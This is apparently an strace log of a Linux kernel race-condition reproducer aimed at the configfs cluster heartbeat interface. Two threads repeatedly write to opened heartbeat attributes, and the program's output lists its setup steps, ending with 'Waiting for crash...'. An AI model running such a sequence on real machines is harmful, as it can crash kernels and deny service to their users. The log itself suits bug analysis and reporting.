[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5857] write(1, "[+] configfs mounted or already mounted.\n[+] Created mycluster.\n[+] Created mynode.\n[-] Failed to wr"..., 819 <unfinished ...>
[+] configfs mounted or already mounted.
[+] Created mycluster.
[+] Created mynode.
[-] Failed to write to /sys/kernel/config/cluster/mycluster/node/mynode/num: Invalid argument
[+] Wrote '7777
' to /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port
[+] Wrote '127.0.0.1
' to /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address
[-] Failed to write to /sys/kernel/config/cluster/mycluster/node/mynode/local: Invalid argument
[+] Created myregion.
[+] Wrote '1
' to /sys/kernel/config/cluster/mycluster/heartbeat/myregion/blocks
[+] Wrote '1
' to /sys/kernel/config/cluster/mycluster/heartbeat/myregion/start_block
[+] Opened block device, fd=3
[+] Wrote '1024
' to /sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes
[+] Opened dev attr twice.
[+] Threads started. Waiting for crash...
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5857] <... write resumed>) = 819
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5857] exit_group(0 <unfinished ...>
